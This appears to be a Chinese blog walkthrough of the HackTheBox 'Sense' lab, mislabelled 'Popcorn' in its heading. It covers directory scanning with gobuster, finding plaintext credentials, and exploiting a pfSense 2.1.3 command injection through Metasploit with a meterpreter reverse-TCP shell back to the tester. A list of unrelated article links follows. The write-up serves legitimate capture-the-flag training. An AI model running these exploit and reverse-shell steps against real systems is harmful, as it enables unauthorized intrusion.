当前位置: 首页 > news >正文

HackTheBox-Machines--Sense

Popcorn 测试过程

1 信息收集

  服务器开启80、443端口

在这里插入图片描述

80端口

  访问 80 跳转到 443 – https://10.129.196.51/ ,该页面是 pfSense 登录界面,默认密码是: admin/pfSense,使用默认账号密码登录失败

在这里插入图片描述

目录扫描

./gobuster dir -u https://10.129.196.51/ -w directory-list-2.3-medium.txt -k

  扫描结果没有发现可利用的目录文件

在这里插入图片描述

  继续进行目录扫描,扫描条件添加 txt、conf、php等文件

./gobuster dir -u https://10.129.196.51/ -w directory-list-2.3-medium.txt -k -x txt,php,conf

  发现 /changelog.txt 文件:
  查看文件内容,内容显示三个漏洞已经修复了两个,还有一个没有修复,那我们可以搜索 pfsense 的相关漏洞,进行测试。

在这里插入图片描述

  发现 /system-users.txt 文件,文件显示了账号密码: rohit / pfsense

在这里插入图片描述

  使用 rohit / pfsense 登录,登录后页面显示版本号码:2.1.3

在这里插入图片描述


2 pfsense 漏洞测试

  登录后的站点,发现 pfsense的版本号为:2.1.3 ,searchsploit 搜索相关版本漏洞,发现存在命令注入漏洞,这个漏洞应该就是 /changelog.txt 文件描述的未修补的漏洞。

search pfsense 2.1.3
use exploit/unix/http/pfsense_graph_injection_exec
set payload php/meterpreter/reverse_tcp
set RHOSTS 10.129.196.51
set LHOST 10.10.14.25
# 默认的USERNAME配置为admin,需要更改为rohit
set USERNAME rohit
run

在这里插入图片描述

shell
python -c 'import pty;pty.spawn("/bin/sh")'

在这里插入图片描述

相关文章:

  • 标题:Go语言中的YAML魔法:轻松配置你的环境
  • Python打印当前目录下,所有文件名的首字母
  • Centos7安装Docker和DockerCompose
  • DynamiCrafter ComfyUI 教程 | 对图片转视频的效果进行精细化控制
  • Spark_SparkOnHive_海豚调度跑任务写入Hive表失败解决
  • Mac/Linux getline 无法读取文件内容(读取内容无法显示)
  • 【数据库】MySQL表的操作
  • jenkins的简单使用
  • 函数尾调用优化
  • 面试官:对于MQ中的消息丢失你是如何理解的?
  • OpenAI助手API接入-问答对自动生成
  • 江苏大信环境科技有限公司:环保领域的开拓者与引领者
  • Anaconda中的常用科学计算工具
  • The Best Toolkit 最好用的工具集
  • 安装LLVM后无法使用FileCheck工具
  • 【108天】Java——《Head First Java》笔记(第1-4章)
  • 5分钟即可掌握的前端高效利器:JavaScript 策略模式
  • docker-consul
  • IOS评论框不贴底(ios12新bug)
  • JAVA之继承和多态
  • js操作时间(持续更新)
  • miniui datagrid 的客户端分页解决方案 - CS结合
  • PHP 的 SAPI 是个什么东西
  • Python 基础起步 (十) 什么叫函数?
  • 阿里云购买磁盘后挂载
  • 和 || 运算
  • 两列自适应布局方案整理
  • 算法-插入排序
  • 微信开源mars源码分析1—上层samples分析
  • 想晋级高级工程师只知道表面是不够的!Git内部原理介绍
  • nb
  • 你对linux中grep命令知道多少?
  • ​【数据结构与算法】冒泡排序:简单易懂的排序算法解析
  • ​人工智能书单(数学基础篇)
  • #pragma预处理命令
  • #多叉树深度遍历_结合深度学习的视频编码方法--帧内预测
  • (2)关于RabbitMq 的 Topic Exchange 主题交换机
  • (2022版)一套教程搞定k8s安装到实战 | RBAC
  • (2024.6.23)最新版MAVEN的安装和配置教程(超详细)
  • (LeetCode 49)Anagrams
  • (pytorch进阶之路)扩散概率模型
  • (zhuan) 一些RL的文献(及笔记)
  • (二) Windows 下 Sublime Text 3 安装离线插件 Anaconda
  • (附源码)计算机毕业设计ssm基于Internet快递柜管理系统
  • (十二)springboot实战——SSE服务推送事件案例实现
  • (学习日记)2024.01.09
  • (学习总结)STM32CubeMX HAL库 学习笔记撰写心得
  • (一)Dubbo快速入门、介绍、使用
  • (一)Mocha源码阅读: 项目结构及命令行启动
  • (转载)hibernate缓存
  • (转载)Linux网络编程入门
  • .bat批处理(三):变量声明、设置、拼接、截取
  • .Net Attribute详解(上)-Attribute本质以及一个简单示例
  • .Net Core 笔试1
  • .net core使用RPC方式进行高效的HTTP服务访问